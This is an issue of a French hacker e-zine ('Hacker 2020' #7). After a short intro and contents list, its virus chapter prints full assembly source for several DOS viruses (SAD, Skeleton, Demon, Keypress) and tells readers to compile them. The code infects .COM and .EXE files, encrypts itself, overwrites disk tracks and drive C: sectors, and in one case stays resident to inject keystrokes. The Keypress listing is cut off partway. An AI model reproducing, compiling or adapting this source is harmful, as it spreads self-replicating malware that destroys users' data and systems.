HACKER 2020
issue #7, par Clad Strife

Introduction: Qu'est-ce que nous avons de bon au sommaire de ce numéro... De la doc sur les virii, de la doc sur les serveurs, pis un article sur Hunt, un sujet pas mal intéressant sur caramail, et on va parler de certains organismes gouvernementaux (le gouvernement, encore et toujours, omniprésent...), mais pas mal de récapitulation de ce qu'il y a a savoir sur les sniffers. Je vous rappelle l'adresse officiel du site: http://www.multimania.com/hackworldclan tant que ça reste visitable (Multimania n'a pas l'aire d'apprécier ce site).

Sommaire:

  1. Virus / partie 1
  2. Hunt / partie 1
  3. Interview / partie 2
  4. Hacker un compte Multimania (ou autres) / partie 2
  5. PGP / partie 2
  6. Attaques NT / partie2
  7. Caramail / partie 2 (par ACiD BuRN)
Bizarre, je n'aurais jamais fait un Hacker 2020 avec quelqu'un dautre. Si ça plait on pourra remettre ça.

Chapitre 1: Virus

J'ai dressé une liste de quelques virus dont il est important de connaitre les fonctionnalités. Je donnerais aussi des codes sources de virus en assembleur. Bah et si on commençait par les codes sources, pour être sur de bien pouvoir les compiler: transposez les en txt avec Bloc-Notes en copiant collant, et renommez le .txt en .asm puis compilez:

SAD virus:

;
; ---- Data Segment Values ----
; ds:[0f6h] = read buffer location
; ds:[0f8h] = write buffer location
; ds:[0fah] = store length of virus at this location
; ds:[0fch] = store length of file to be infected at this location
; ds:[0feh] = filename of file to infect
;

.model tiny
.code
org     100h               ; origin for .com files
start:

   nop                     ; these two nop instructs will be used by 'Nasty'
   nop                     ; to determine if a file is already infected

   ;******
   ;get date
   ;******
   mov ah,2ah              ; get the date
   int 21h                 ; do it
   cmp dh,09h              ; is it September?
   jnz do_not_activate     ; if NO jmp do_not_activate
   ;****
   ;the nasty bit
   ;****
   ;*
   ;* 1. Print message
   ;*
   lea dx,mess             ; print message
   mov ah,09               ; 'Nasty in September'
   int 21h                 ; do it
   ;****
   ;* 2. Destroy disk
   ;****
   mov ah,19h              ; get current drive (returned in al)
   int 21h                 ; do it
   mov dl,al               ; dl = drive # to be formated
   mov ah,05               ; disk format function
   mov cl,01               ; first sector
   mov ch,00               ; first track
   mov dh,00               ; head zero
   mov al,10h              ; 10h (16) sectors - 2 tracks
   int 13h                 ; do it (overwrite first 16 tracks on currently
                           ;   selected disc)
 

do_not_activate:
   mov cx,80h              ; save parameters; set counter to 80h bytes
   mov si,0080h            ; offset in the current data segment of the byte
                           ;   to be copied
   mov di,0ff7fh           ; offset to which byte is to be moved
   rep movsb               ; move bytes until cx=0 (decrement cx by 1 each time
                           ;   loop is performed is done automatically)
                           ;   (increment by 1 of si & di is done automatically)

   lea ax,begp             ; load exit from program offset address into ax
   mov cx,ax               ;  "    "    "     "       "      "      "   cx
   sub ax,100h             ; subtract start of .com file address (100h) from ax
                           ;   ax now contains the length of the virus

   mov ds:[0fah],ax        ; put length of the virus into the data segment at
                           ;   offset 0fah
   add cx,fso              ; add fso (5h) to cx (offset address of exit)
                           ;   so, cx=cx+5
   mov ds:[0f8h],cx        ; move cx (end of virus + 5) into data segment at
                           ;   offset 0f8h. ** Start of the write buffer.
   ADD CX,AX               ; add virus length (ax) to cx ?????
   mov ds:[0f6h],cx        ; mov cx into data segment at offset 0f6h.
                           ;   ** Start of the read buffer
   mov cx,ax               ; mov length of virus into cx
   lea si,start            ; load address of 'start' (start of virus) into
                           ;   souce index
   mov di,ds:[0f8h]        ; mov the value of the write buffer (@ 0f8h) into
                           ;   destination index
 

rb:                        ; cx = counter (length of virus)
                           ; si = offset of byte to be read
                           ; di = offset of where to write byte to
                           ; (auto decrement of cx & increment of si & di)
   rep movsb               ; copy the virus into memory

   stc                     ; set the carry flag

   lea dx,file_type_to_infect     ; set infector for .com files only
   mov ah,4eh                     ; find first file with specified params
   mov cx,20h                     ; files with archive bit set
   int 21h                        ; do it
                                  ; if file found, CF is cleared, else
                                  ;   CF is set

   or ax,ax                ; works the below instructions (jz & jmp)
   jz file_found           ; if file found jmp file_found
   jmp done                ; if no file found, jmp done (exit virus)

file_found:
   mov ah,2fh              ; get dta (returned in es:bx)
   int 21h                 ; do it

   mov ax,es:[bx+1ah]      ; mov size of file to be infected into ax
   mov ds:[0fch],ax        ; mov filesize into ds:[0fch]
   add bx,1eh              ; bx now points to asciz filename
   mov ds:[0feh],bx        ; mov filename into ds:[0feh]
   clc                     ; clear carry flag

   mov ax,3d02h            ; open file for r/w (ds:dx -> asciz filename)
   mov dx,bx               ; mov filename into dx
   int 21h                 ; do it (ax contains file handle)

   mov bx,ax               ; mov file handle into bx

   mov ax,5700h            ; get time & date attribs from file to infect
   int 21h                 ; do it (file handle in bx)
   push cx                 ; save time to the stack
   push dx                 ; save date to the stack

   mov ah,3fh              ; read from file to be infected
   mov cx,ds:[0fch]        ; number of bytes to be read (filesize of file to
                           ;   be infected
   mov dx,ds:[0f6h]        ; buffer (where to read bytes to)
   int 21h                 ; do it

   mov bx,dx               ; mov buffer location to bx
   mov ax,[bx]             ; mov contents of bx (first two bytes - as bx is
                           ;   16-bits) into ax.

                           ; Now check to see if file is infected... if the
                           ;    file is infected, it's first two bytes will be
                           ;    9090h (nop nop)

   sub ax,9090h            ; If file is already infected, zero flag will be set
                           ;   thus jump to fin(ish)
   jz fin
 

   mov ax,ds:[0fch]        ; mov filesize of file to be infected into ax
   mov bx,ds:[0f6h]        ; mov where-to-read-to buffer into bx

   mov [bx-2],ax      ; correct old len

   mov ah,3ch              ; Create file with handle
   mov cx,00h              ; cx=attribs -- set no attributes
   mov dx,ds:[0feh]        ; point to name
   clc                     ; clear carry flag
   int 21h                 ; create file
                           ; Note: If filename already exists, (which it does)
                           ;   truncate the filelength to zero - this is ok as
                           ;   we have already copied the file to be infected
                           ;   into memory.

   mov bx,ax               ; mov file handle into bx
   mov ah,40h              ; write file with handle (write to the file to be
                           ;   infected) - length currently zero
                           ;   cx=number of bytes to write
   mov cx,ds:[0fch]        ; length of file to be infected
   add cx,ds:[0fah]        ; length of virus
   mov DX,ds:[0f8h]        ; location of write buffer (this contains the virus
                           ;   + the file to be infected)
   int 21h                 ; write file
                           ; new file = virus + file to be infected

   mov ax,5701h            ; restore original time & date values
   pop dx                  ; get old date from the stack
   pop cx                  ; get old time from the stack
   int 21h                 ; do it
                           ; Note: Infected file will now carry the time & date
                           ;   it had before the infection.

   mov ah,3eh              ; close file (bx=file handle)
   int 21h                 ; do it
                           ; Note: date & time stamps automatically updated if
                           ;   file written to.

fin:
   stc                     ; set carry flags
   mov ah,4fh              ; find next file (.com)
   int 21h                 ; do it
   or ax,ax                ; decides zero flag outcome
   jnz done                ; if no more .com files, jmp done
   JMP file_found          ;   else begin re-infection process for new file.

done:
   mov cx,80h              ; set counter (cx) = 80h
   mov si,0ff7fh           ; source offset address (copy from here)
   mov di,0080h            ; destination offset address (copy to here)
   rep movsb               ; copy bytes! (cx is auto decremented by 1
                           ;   si & di are auto incremented by 1)
                           ; Note: this is a 'restore parameters' feature
                           ;   this does the reverse of what what done earlier
                           ;   in the program (do_not_activate:)

   mov ax,0a4f3h           ;
   mov ds:[0fff9h],ax      ;
   mov al,0eah             ;
   mov ds:[0fffbh],al      ; reset data segment locations ??? (to previous
   mov ax,100h             ;   values before virus infection)
   mov ds:[0fffch],ax      ;
   lea si,begp             ; load exit from program offset address into si
   lea di,start            ; load offset address of start of virus into di
   mov ax,cs
   mov ds:[0fffeh],ax      ; re-align cs = ds ???
   mov kk,ax
   mov cx,fso

   db 0eah                 ; define byte
   dw 0fff9h               ; define word
   kk dw 0000h             ; define kk = word

   mess db 'Sad virus - 24/8/91',13,10,'$'    ; virus message to display

   file_type_to_infect db '*?.com',0         ; infect only .com files.

   fso dw 0005h            ; store 5 into 'fso'. dw means that fso is 2 bytes
                           ;   in size (a word)
                           ; ----- alma mater
 

begp:
   mov     ax,4c00h        ; normal dos termination (set al to 00)
   int     21h             ; do it

end start

Skeleton virus:

; target.asm : [Skeleton] by Deke
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg

.model tiny                             ; Handy directive
.code                                   ; Virus code segment
          org    100h                   ; COM file starting IP

id = 'DA'                               ; ID word for EXE infections
entry_point: db 0e9h,0,0                ; jmp decrypt

startvirus:
decrypt:                                ; handles encryption and decryption
patch_startencrypt:
          mov  bp,offset startencrypt   ; start of decryption
          mov  ax,(offset heap - offset startencrypt)/2 ; iterations
decrypt_loop:
          db   2eh,81h,76h,0            ; xor word ptr cs:[bp], xxxx
decrypt_value dw  0                     ; initialised at zero for null effect
          inc  bp                       ; calculate new decryption location
          inc  bp
          dec  ax                       ; If we are not done, then
          jnz  decrypt_loop             ; decrypt mo'
startencrypt:
          call next                     ; calculate delta offset
next:     pop  bp                       ; bp = IP next
          sub  bp,offset next           ; bp = delta offset

          cmp  sp,id                    ; COM or EXE?
          je   restoreEXE
restoreCOM:
          lea  si,[bp+offset save3]
          mov  di,100h
          push di                       ; For later return
          movsb
          jmp  short restoreEXIT
restoreEXE:
          push ds
          push es
          push cs                       ; DS = CS
          pop  ds
          push cs                       ; ES = CS
          pop  es
          lea  si,[bp+offset oldCSIP2]
          lea  di,[bp+offset oldCSIP]
          movsw
          movsw
          movsw
restoreEXIT:
          movsw

          mov  byte ptr [bp+numinfec],3 ; reset infection counter

          mov  ah,1Ah                   ; Set new DTA
          lea  dx,[bp+offset newDTA]    ; new DTA @ DS:DX
          int  21h

          lea  dx,[bp+offset exe_mask]
          call infect_mask
          lea  dx,[bp+offset com_mask]
          call infect_mask

done_infections:
          mov  ah,1ah                   ; restore DTA to default
          mov  dx,80h                   ; DTA in PSP
          cmp  sp,id-4                  ; EXE or COM?
          jz   returnEXE
returnCOM:
          int  21h
          retn                          ; 100h is on stack
returnEXE:
          pop  es
          pop  ds
          int  21h
          mov  ax,es                    ; AX = PSP segment
          add  ax,10h                   ; Adjust for PSP
          add  word ptr cs:[bp+oldCSIP+2],ax
          add  ax,word ptr cs:[bp+oldSSSP+2]
          cli                           ; Clear intrpts for stack manipulation
          mov  sp,word ptr cs:[bp+oldSSSP]
          mov  ss,ax
          sti
          db   0eah                     ; jmp ssss:oooo
oldCSIP   db ?                          ; Original CS:IP (4 bytes)
save3     db 0cdh,20h,0                 ; First 3 bytes of COM file
oldSSSP   dd ?                          ; Original SS:SP
oldCSIP2  dd ?
oldSSSP2  dd ?

creator   db '[MPC]',0                  ; Mass Produced Code Generator
virus     db '[Skeleton]',0
author    db 'Deke',0

infect_mask:
          mov  ah,4eh                   ; find first file
          mov  cx,7                     ; any attribute
findfirstnext:
          int  21h                      ; DS:DX points to mask
          jc   exit_infect_mask         ; No mo files found

          xor  cx,cx                    ; Clear attributes
          call attributes               ; Set file attributes

          mov  ax,3d02h                 ; Open read/write
          int  21h
          xchg ax,bx

          mov  ah,3fh                   ; Read file to buffer
          lea  dx,[bp+offset buffer]    ; @ DS:DX
          mov  cx,1Ah                   ; 1Ah bytes
          int  21h

          mov  ax,4202h                 ; Go to end of file
          xor  cx,cx
          cwd
          int  21h

          cmp  word ptr [bp+buffer],'ZM'; EXE?
          jz   checkEXE                 ; Why yes, yes it is!
checkCOM:
          mov  ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
          cmp  ax,65535-(endheap-decrypt) ; Is it too large?
          ja   find_next

          mov  cx,word ptr [bp+buffer+1]; get jmp location
          add  cx,heap-startvirus+3     ; Adjust for virus size
          cmp  ax,cx                    ; Already infected?
          je   find_next
          jmp  infect_com
checkEXE:
          cmp  word ptr [bp+buffer+10h],id ; is it already infected?
          jnz  infect_exe
done_file:
          mov  ax,5701h                 ; Restore creation date/time
          mov  cx,word ptr [bp+newDTA+16h] ; time
          mov  dx,word ptr [bp+newDTA+18h] ; date
          int  21h

          mov  ah,3eh                   ; Close file
          int  21h

          mov  ch,0
          mov  cl,byte ptr [bp+newDTA+15h] ; Restore original
          call attributes               ; attributes

          cmp  byte ptr [bp+numinfec], 0; Enough infections?
          jnz  find_next
          pop  ax                       ; remove call from stack
          jmp  done_infections

find_next:
          mov  ah,4fh                   ; find next file
          jmp  short findfirstnext
exit_infect_mask: ret

infect_exe:
          mov  cx, 1ah
          push cx
          push bx                       ; Save file handle
          les  ax,dword ptr [bp+buffer+14h] ; Save old entry point
          mov  word ptr [bp+oldCSIP2], ax
          mov  word ptr [bp+oldCSIP2+2], es

          les  ax,dword ptr [bp+buffer+0Eh] ; Save old stack
          mov  word ptr [bp+oldSSSP2],es
          mov  word ptr [bp+oldSSSP2+2],ax

          mov  ax,word ptr [bp+buffer+8]; Get header size
          mov  cl, 4                    ; convert to bytes
          shl  ax, cl
          xchg ax, bx

          les  ax,dword ptr [bp+newDTA+26] ; Get file size
          mov  dx, es                   ; to DX:AX
          push ax
          push dx

          sub  ax, bx                   ; Subtract header size from
          sbb  dx, 0                    ; file size

          mov  cx, 10h                  ; Convert to segment:offset
          div  cx                       ; form

          mov  word ptr [bp+buffer+14h], dx ; New entry point
          mov  word ptr [bp+buffer+16h], ax

          mov  word ptr [bp+buffer+0Eh], ax ; and stack
          mov  word ptr [bp+buffer+10h], id

          pop  dx                       ; get file length
          pop  ax
          pop  bx                       ; Restore file handle

          add  ax, heap-startvirus      ; add virus size
          adc  dx, 0

          mov  cl, 9
          push ax
          shr  ax, cl
          ror  dx, cl
          stc
          adc  dx, ax
          pop  ax
          and  ah, 1                    ; mod 512

          mov  word ptr [bp+buffer+4], dx ; new file size
          mov  word ptr [bp+buffer+2], ax

          push cs                       ; restore ES
          pop  es

          mov  ax,word ptr [bp+buffer+14h] ; needed later
          jmp  short finishinfection
infect_com:                             ; ax = filesize
          mov  cx,3
          push cx
          sub  ax,cx
          lea  si,[bp+offset buffer]
          lea  di,[bp+offset save3]
          movsw
          movsb
          mov  byte ptr [si-3],0e9h
          mov  word ptr [si-2],ax
          add  ax,103h
finishinfection:
          add  ax,offset startencrypt-offset decrypt
          push  ax

          mov  ah,2ch                   ; Get current time
          int  21h                      ; dh=sec,dl=1/100 sec
          mov  [bp+decrypt_value],dx    ; Set new encryption value
          lea  di,[bp+offset codestore]
          mov  al,55h                   ; push bp
          stosb
          lea  si,[bp+offset decrypt]   ; Copy encryption function
          mov  cx,startencrypt-decrypt  ; Bytes to move
          push si                       ; Save for later use
          push cx
          rep  movsb

          lea  si,[bp+offset write]     ; Copy writing function
          mov  cx,endwrite-write        ; Bytes to move
          rep  movsb
          pop  cx
          pop  si
          pop  ax
          push di
          push si
          push cx
          rep  movsb                    ; Copy decryption function

          mov  word ptr [bp+patch_startencrypt+1],ax

          mov  al,5dh                   ; pop bx
          stosb
          mov  al,0c3h                  ; retn
          stosb

          call codestore                ; decryption
          pop  cx
          pop  di
          pop  si
          rep  movsb                    ; Restore decryption function

          mov  ax,4200h                 ; Move file pointer
          xor  cx,cx                    ; to beginning of file
          cwd                           ; xor dx,dx
          int  21h

          mov  ah,40h                   ; Write to file
          lea  dx,[bp+offset buffer]    ; Write from buffer
          pop  cx                       ; cx bytes
          int  21h

          dec  byte ptr [bp+numinfec]   ; One mo infection
          jmp  done_file

attributes:
          mov  ax,4301h                 ; Set attributes to cx
          lea  dx,[bp+offset newDTA+30] ; filename in DTA
          int  21h
          ret

write:
          pop  bp                       ; Restore relativeness
          mov  ah,40h                   ; Write to file
          lea  dx,[bp+offset decrypt]   ; Concatenate virus
          mov  cx,heap-decrypt          ; # bytes to write
          int  21h
          push bp
endwrite:

exe_mask  db '*.exe',0
com_mask  db '*.com',0
heap:                                   ; Variables not in code
; The following code is the buffer for the write function
codestore:db (startencrypt-decrypt)*2+(endwrite-write)+3 dup (?)
newDTA    db 43 dup (?)                 ; Temporary DTA
numinfec  db ?                          ; Infections this run
buffer    db 1ah dup (?)                ; read buffer
endheap:                                ; End of virus
end       entry_point

Demon Virus:

;========== Demon virus ==================================== 22.09.91 ========
;
; Assemble and link with:  TASM  DEMON.VIR
;                          TLINK DEMON /X/T
; Infect all .COM programs in current directory with: DEMON
;
;                       !!! NOT ON A TUESDAY !!!
;
;-------------- Constants and structures

Tuesday         =       2                       ; INT 21h, AH=2Ah

Search_Rec      struc                           ; directory search record
                db      21 dup (?)              ;   reserved for DOS
  FileAttr      db      ?                       ;   file attribute
  FileTime      dw      ?                       ;   packed file time
  FileDate      dw      ?                       ;   packed file date
  FileSize      dd      ?                       ;   long file size
  FileName      db      13 dup (?)              ;   ASCIIZ FILENAME.EXT
Search_Rec      ends

;-------------- Demon virus segment

Virus           segment
                assume  cs:Virus,ds:Virus,es:Virus,ss:Virus

                org     0080h
DTA             Search_Rec <>                   ; disk transfer area

                org     0100h
Demon:                                          ; virus entry point
Virus_Size      =       Virus_End - Demon       ; virus size = 272 bytes

                mov     dx,offset All_COM       ; find first .COM file,
                mov     ah,4eh                  ;   including hidden/system
                mov     cx,110bh
                int     21h
                nop
                jnc     Infect                  ; abort if no files found
                jmp     short Check_Day
Infect:         call    Replicate               ; overwrite first 272 bytes
                mov     dx,offset DTA
                mov     ah,4fh                  ; find next .COM file,
                int     21h                     ;   go check day if none found
                nop                             ;   else repeat
                jnc     Next_File
                jmp     short Check_Day
Next_File:      jmp     Infect
Check_Day:      mov     ah,2ah                  ; get DOS date, check day
                int     21h
                cmp     al,Tuesday              ; Tuesday ?
                je      Thrash_Drive            ; if yes, thrash drive C:
                mov     ah,4ch                  ;   else exit to DOS
                int     21h

Thrash_Drive:   mov     Counter,0               ; overwrite first 160 sectors
                jmp     Write_Sectors           ;   of drive C: with garbage
Write_Sectors:  mov     al,Drive_C              ; Error: doesn't work !
                mov     cx,160                  ; AL=C:, CX=160 sectors
                mov     dx,0                    ; DX=highest sector in drive !
                mov     bx,0                    ; DS:BX=start of PSP area
                int     26h                     ; overwrite sectors
                inc     Counter
                cmp     Counter,10              ; repeat 10 times
                je      Show_Msg
                jne     Write_Sectors
Show_Msg:       mov     ah,09h                  ; show a fake error message
                mov     dx,offset Virus_Msg     ;   and exit to DOS
                int     21h
                mov     ah,4ch
                int     21h

Replicate:      mov     dx,offset DTA.FileName  ; save file attribute
                mov     ax,4300h
                int     21h
                mov     COM_Attr,cx
                nop
                xor     cx,cx                   ; unprotect the .COM file
                mov     ax,4301h                ;   in case it's read-only
                int     21h
                nop
                mov     ax,3d02h                ; open .COM file for R/W,
                int     21h                     ;   abort on error
                nop
                jc      Check_Day
                mov     bx,ax                   ; BX = file handle
                mov     ax,5700h
                int     21h                     ; save file date and time
                nop
                mov     COM_Time,cx
                mov     COM_Date,dx
                mov     dx,offset Demon         ; overwrite first 272 bytes
                mov     ah,40h                  ;   of .COM program file
                mov     cx,Virus_Size           ;   with the virus code
                int     21h
                nop
                mov     ax,5701h                ; restore file date and time
                mov     dx,COM_Date
                mov     cx,COM_Time
                int     21h
                mov     ah,3eh                  ; close the file
                int     21h
                nop
                mov     dx,offset DTA.FileName  ; restore file attribute
                mov     cx,COM_Attr
                mov     ax,4301h
                int     21h
                retn

All_COM         db      '*.COM',0               ; dir search specification
COM_Date        dw      0                       ; packed .COM program date
COM_Time        dw      0                       ; packed .COM program time
COM_Attr        dw      0                       ; .COM program file attribute
Counter         db      0                       ; used when thrashing drive C:
Drive_C         db      2                       ; INT 26h C: drive number
                dw      0
Copyright       db      'Demonhyak Viri X.X (c) by Cracker Jack 1991 (IVRL)'
                dw      0
Virus_Msg       db      10,13,'Error eating drive C:',10,13,'$'

Virus_End       label   byte                    ; virus code+data end

Virus           ends
                end     Demon

Keypress Virus:

;****************************************************************************;
;                                                                            ;
;                     -=][][][][][][][][][][][][][][][=-                     ;
;                     -=]  P E R F E C T  C R I M E  [=-                     ;
;                     -=]      +31.(o)79.426o79      [=-                     ;
;                     -=]                            [=-                     ;
;                     -=] For All Your H/P/A/V Files [=-                     ;
;                     -=]    SysOp: Peter Venkman    [=-                     ;
;                     -=]                            [=-                     ;
;                     -=]      +31.(o)79.426o79      [=-                     ;
;                     -=]  P E R F E C T  C R I M E  [=-                     ;
;                     -=][][][][][][][][][][][][][][][=-                     ;
;                                                                            ;
;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
;                                                                            ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
; Around Among the General Public. It Will be Very Useful for Learning how   ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
; Is. Keep This Code in Responsible Hands!                                   ;
;                                                                            ;
;****************************************************************************;
;********************************************************
; Source code of the Keypress Virus - Made by XSTC
; Made in A86 v3.07
;
; The Keypress Virus installs itself in top of DOS
; memory, without using DOS resident functions. It will
; hook int 1Ch (timer) and 21h (DOS) and will copy every
; 10 minutes during 2 seconds the keys you press five
; times (so if you press '1' it will be '111111') - if
; you press no key, it will usually give ESCs.
;
; In DOS 3+ it spreads to every file executed - so it
; can, besides COM/EXE, infect DRV/OVL/etc.
; It also spreads itself in DOS 1 and 2 with a special
; routine - in this case only COM/EXE files will be
; infected.
;
; It adds, after making full paragraphs of the file
; length, 1232 bytes to COM-files and 1216 to EXE.
;
; This code is only made to show the possibilities and
; dangers of a virus. It is only intended for research
; purposes - spreading a virus is prohibited by law.
;
; NOTE - The compiled code is not 100% compatible with
; the Keypress virus. A86 compiles the 'ADD BX,AX' and
; 'MOV DI,SI' different. This has totally no effect
; on the program.
;********************************************************

; After compiling the new virus, enter the new size in paragraphs in VirParSize
; and compile again.

VirParSize    equ 4Ch                      ; Size of the original KeyPress virus

VirStart:     jmp long VirBegin
              db 0

ComStart:     mov bx,cs               ; When the virus has infected a .COM file,
              add bx,[102h]           ; this is the jump to the virus. Actually,
              push bx                   ; this code is overwritten with the code
              mov bx,offset VirBegin                  ; in the end of the virus.
              push bx
              retf

EB02          dw 02EBh                  ; 'jmp 104' - first 2 bytes in .COM file

VirSize       dw VirParSize shl 4                  ; Size of virus in whole pars

VirPars       dw VirParSize + 1                        ; Size of virus in pars+1

MaxComSize    dw 0FF00h-VirParSize  ; Max. size .COM file to infect (100h stack)

Com_or_exe    db 00h                                ; 0 = Com-File, 1 = Exe-File
R_Ax          dw (?)
R_Bx          dw (?)
R_Cx          dw (?)
R_Dx          dw (?)
R_Di          dw (?)
R_Si          dw (?)
R_Bp          dw (?)
R_Es          dw (?)
R_Ds          dw (?)
R_SS          dw (?)
R_SP          dw (?)

Exe_CS        dw (?)
Exe_IP        dw (?)
 

VirBegin:     call Save_Regs                                    ; Start of virus
              call Fix_cs_ss      ; Fix CS and SS of orig. prog (for .EXE files)
              call Get_cs_ip                    ; Get CS and IP of original prog
              call Check_res                      ; Check virus already resident
              jb Exit_inst                                           ; Yes, quit

              call Inst_mem                                  ; Install in memory
              jb Exit_inst                                         ; Error, quit

              call Inst_ints                                   ; Hook interrupts
Exit_Inst:    jmp short Rst_regs_prg
              nop

Jmp_Prg:      db 0EAh                                 ; Jump to original program
PrgOfs        dw (?)
PrgSeg        dw (?)

Check_res:    push ds
              xor bx,bx
              mov ds,bx
              mov bx,600h                                ; Unused word in memory
              cmp word ptr [bx],1                           ; Already installed?
              jz Installed                                                 ; Yes

              mov word ptr [bx],1                                           ; No
              stc

Installed:    cmc
              pop ds
              ret
 

;*** For .EXE: Fix orig-prog CS and SS ***

Fix_cs_ss:    test byte ptr [Com_or_exe],1
              jz no_exe

              mov ax,es
              add ax,10h
              add Exe_cs,ax
              add R_ss,ax

No_Exe:       ret
 

;*** Get CS + IP of orig. program, and for .COM: Restore first 16 bytes ***

Get_cs_ip:    mov ax,[Exe_cs]
              mov bx,[Exe_ip]
              test byte ptr [Com_or_exe],1
              jnz No_rest                 ; .EXE file: no restore of first bytes

              mov ax,es
              mov bx,100h
              mov cx,10h
              mov si,offset First_bytes
              mov di,100h
              cld
              repz                          ; Restore first 16 bytes (.COM file)
              movsb

No_rest:      mov [Prgseg],ax
              mov [Prgofs],bx
              ret
 

;*** Proc: Save the registers to restore them after the virus has ended ***

Save_Regs:    mov cs:R_ds,ds
              push cs
              pop ds
              mov R_ax,ax
              mov R_bx,bx
              mov R_cx,cx
              mov R_dx,dx
              mov R_di,di
              mov R_si,si
              mov R_bp,bp
              mov R_es,es
              ret
 

;*** Restore regs for original program ***

Rst_regs_prg: mov ax,R_ax
              mov bx,R_bx
              mov cx,R_cx
              mov dx,R_dx
              mov bp,R_bp
              mov di,R_di
              mov si,R_si
              mov es,R_es
              test byte ptr [Com_or_exe],1
              jz No_StackRest                  ; No stack restore for .COM files

              cli
              mov ss,[R_ss]                                 ; Restore .EXE stack
              mov sp,[R_sp]
              sti

No_StackRest: mov ds,R_ds
              jmp short jmp_prg
 

;*** Restore regs for interrupts ***

Rst_regs_int: mov ax,R_ax
              mov bx,R_bx
              mov cx,R_cx
              mov dx,R_dx
              mov bp,R_bp
              mov di,R_di
              mov si,R_si
              mov es,R_es
              mov ds,R_ds
              ret
 

;*** Proc: Search for last MCB ***

Last_MCB:     push ds
              mov bx,es
              dec bx

Next_MCB:     mov ds,bx
              cmp byte ptr [0],5Ah                                   ; Last MCB?
              jz Is_last                                                   ; Yes
              inc bx
              add bx,[3]                                            ; Go to next
              cmp bx,0A000h                                            ; In ROM?
              jb Next_MCB                                    ; No, try next one

Is_Last:      pop ds
              ret
 

;*** Proc: Install virus in end of memory ***

Inst_Mem:     call Last_mcb                                    ; Search last MCB
              cmp bx,0A000h                                            ; In ROM?
              jb Not_ROM                                          ; No, continue

No_Inst:      push cs                                                ; Yes, quit
              pop ds
              stc                                   ; Error, virus not installed
              ret

Not_ROM:      mov ds,bx
              mov ax,[3]                                    ; AX = Size last MCB
              sub ax,cs:[VirPars]                      ; - (Virussize in pars+1)
              jbe no_inst                              ; Not enough memory, quit
              cmp ax,800h
              jb no_inst                        ; Less than 2048 pars free, quit
              mov [3],ax              ; Give program less space to install virus
              add bx,ax
              inc bx                                ; BX = seg where virus comes
              mov es:[2],bx            ; Enter in PSP, program not allowed there
              sub bx,10h                     ; - 10h pars (virus starts at 100h)
              push bx
              push cs
              pop ds
              pop es
              mov si,100h
              mov di,si
              mov cx,[VirSize]                                  ; CX = virussize
              cld
              repz                                 ; Copy virus to virus-segment
              movsb
              clc                                    ; No error, virus installed
              ret
 

;*** Install new interrupts (1C - Timer Tick, 21 - DOS) ***

Inst_Ints:    push es
              pop ds
              mov word ptr [Ticks],0
              mov ax,351Ch                                 ; Get Addr Timer Tick
              int 21h
              mov I1c_ofs,bx
              mov I1c_seg,es
              mov ax,3521h                                    ; Get Addr DOS-Int
              int 21h
              mov I21_ofs,bx
              mov I21_seg,es
              mov ax,251Ch
              mov dx,offset New_I1c
              int 21h                               ; Install New Timer-Tick Int
              mov dx,offset I21_dos12
              push dx
              mov ah,30h                                       ; Get DOS-Version
              int 21h
              pop dx
              cmp al,3                                              ; Below 3.0?
              jb DosBel3
              mov dx,offset new_I21                                ; No, new int
DosBel3:      mov ax,2521h                                 ; Install new DOS-Int
              int 21h
              push cs
              pop ds
              ret
 

;*** Proc: NEW 1C (TIMER TICK) INTERRUPT ***
; Every 10 minutes this routine sends during 2 sec. 180 extra keys to the
; keyboard-interrupt.

Ticks         dw (?)

New_I1c:      inc word ptr cs:[Ticks]     ; Increment 'Ticks after virus loaded'
              cmp word ptr cs:[Ticks],2A30h                 ; 10 minutes passed?
              jb org_I1c                                   ; No, go to orig. I1c
              cmp word ptr cs:[Ticks],2A54h                     ; 2 sec. passed?
              jbe screw_keys                                ; Not yet, give ESCs
              mov word ptr cs:[Ticks],0                      ; Time-counter to 0
              jmp short Org_I1c                                ; Go to orig. I1c
Screw_Keys:   push cx
              mov cx,5                                          ; 5 times / tick
Put_Key:      int 9                                             ; Give extra key
              loop Put_key
              pop cx
Org_I1c:      db 0EAh                                    ; Jump far to orig. I1c
I1c_Ofs       dw (?)
I1c_Seg       dw (?)

New_I24:      mov al,0

New_I23:      iret

I23_Ofs       dw (?)
I23_Seg       dw (?)

I24_Ofs       dw (?)
I24_Seg       dw (?)

ProgSize      dw (?)                                ; Program size in paragraphs

New_I21:      cmp ax,4B00h                             ; New DOS Int for DOS 3 +
              jz Is_Start
              jmp far dword ptr cs:[I21_Ofs]                    ; Jmp orig. I 21
Is_Start:     call Save_Regs
              call InstCritInt               ; Install new ^c and crit. err. int
              mov ax,3D02h                        ; Open file for read and write
              mov ds,R_Ds
              int 21h
              push cs
              pop ds
              jc Close_File
              mov bx,ax
              call Read_header
              jc Close_File
              call Write_virus
              jc Close_File
              call Write_header
Close_File:   mov ah,3Eh                                            ; Close file
              int 21h
              call RestCritInt                    ; Restore ^c and crit-err ints
              call Rst_regs_int
              jmp far dword ptr cs:[I21_Ofs]

I21_Dos12:    cmp ah,3Dh                       ; New DOS-Int for DOS 1.x and 2.x
              jz Is_Open

JmpDos:       db 0EAh                                                 ; Jump Far
I21_Ofs       dw (?)
I21_Seg       dw (?)

Is_Open:      push ax                                           ; Network-flags?
              and al,0FCh
              pop ax
              jnz JmpDos                                            ; Yes -> DOS

              call Save_Regs

              call InstCritInt               ; Install new ^c and crit. err. int

              mov DS,R_Ds
              or al,2                                             ; Write access
              pushf
              cli
              call far cs:[I21_Ofs]                                  ; Open file
              push cs
              pop ds
              jc Open_Error                               ; Error opening -> DOS

              pushf
              mov [R_Ax],ax                                        ; Save handle
              mov bx,ax

              call Chk_Inf                         ; Check infection is possible
              jc No_Infect                                          ; No -> quit

              call Read_header
              jc No_Infect

              call Write_virus
              jc No_Infect
              call Write_header
No_Infect:    call Go_file_beg                             ; Go to begin of file
              call RestCritInt                    ; Restore ^c and crit-err ints
              call Rst_regs_int
              popf
              retf 2
Open_Error:   call RestCritInt                    ; Restore ^c and crit-err ints
              call Rst_regs_int
              jmp short JmpDos
 

;*** Proc: Buffer for header of program to infect ***

Head_buf      dw 0Ch dup (?)
 

